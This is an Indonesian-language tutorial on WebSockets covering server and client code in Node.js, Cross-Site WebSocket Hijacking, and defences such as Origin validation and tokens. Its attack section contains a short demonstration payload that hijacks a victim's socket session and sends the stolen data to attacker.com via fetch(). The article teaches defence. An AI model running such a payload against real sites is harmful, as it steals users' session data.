WebSockets: Panduan Real-Time Communication dan Celah Keamanan yang Wajib Diwaspadai

Ketika aplikasi web modern dituntut menampilkan data secara real-time—chat, notifikasi, dashboard trading, atau multiplayer game—pola HTTP klasik request-response sering menjadi bottleneck. Di sinilah WebSockets hadir sebagai solusi komunikasi dua arah yang efisien. Artikel ini membahas konsep, implementasi, hingga celah keamanan yang sering diabaikan developer.

Mengapa WebSockets?

WebSocket adalah protokol full-duplex yang menjaga satu koneksi TCP tetap terbuka. Handshake diawali dengan header Upgrade: websocket melalui HTTP, lalu koneksi beralih ke skema ws:// atau wss://. Berbeda dengan polling yang membanjiri server dengan request berulang, WebSocket hanya melakukan satu handshake dan selanjutnya mengirim frame data ringan—menekan latensi hingga hitungan milidetik.

Contoh Implementasi: Server Node.js

Berikut server broadcast sederhana menggunakan library ws:

const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 8080 });

wss.on('connection', (ws, req) => {
  const origin = req.headers.origin;
  if (origin !== 'https://app.example.com') {
    return ws.close(1008, 'Origin tidak diizinkan');
  }
  ws.on('message', (msg) => {
    wss.clients.forEach(client => {
      if (client.readyState === WebSocket.OPEN) {
        client.send(`Echo: ${msg}`);
      }
    });
  });
});

Di sisi client, cukup beberapa baris:

const socket = new WebSocket('wss://app.example.com/socket');
socket.addEventListener('open', () => socket.send('Halo server!'));
socket.addEventListener('message', (e) => console.log(e.data));

Analisis Keamanan: Cross-Site WebSocket Hijacking (CSWH)

WebSocket tidak tunduk pada Same-Origin Policy dan tidak mengirim preflight CORS. Artinya, halaman apa pun di browser bisa membuka koneksi ke server Anda. Jika server mengandalkan cookie sesi tanpa memvalidasi Origin, penyerang dapat membajak sesi korban.

Cara kerja: Korban membuka halaman jahat, browser otomatis menyertakan cookie autentikasi ke server target, server mengira koneksi sah, dan data sensitif mengalir ke penyerang. Demonstrasi payload di situs penyerang:

const ws = new WebSocket('wss://target.com/socket');
ws.onopen = () => ws.send(JSON.stringify({ action: 'getProfile' }));
ws.onmessage = (e) =>
  fetch('https://attacker.com/steal?d=' + btoa(e.data));

Selain CSWH, ancaman lain mencakup message injection (payload tak divalidasi dieksekusi di backend) dan denial-of-service melalui flooding frame.

Cara Pencegahan

1. Validasi header Origin saat handshake—tolak koneksi dari domain tak dikenal (lihat contoh di atas).
2. Gunakan token CSRF atau subprotocol token alih-alih hanya bergantung pada cookie sesi.
3. Wajibkan wss:// agar traffic terenkripsi TLS dan tidak bisa disadap.
4. Autentikasi ulang pada pesan pertama, dan terapkan timeout idle.
5. Validasi & sanitasi payload serta rate limiting per koneksi untuk mencegah injeksi dan DoS.

Kesimpulan

WebSockets memberikan performa superior untuk kebutuhan real-time communication berkat koneksi persisten dan latensi rendah. Namun, kebebasan protokol ini dari sandbox Same-Origin Policy menjadikannya sasaran empuk serangan seperti CSWH. Kunci keamanan terletak pada validasi Origin, penggunaan wss://, token autentikasi eksplisit, dan sanitasi payload. Dengan menerapkan langkah-langkah tersebut sejak awal, Anda dapat memanfaatkan kecepatan WebSocket tanpa mengorbankan keamanan aplikasi.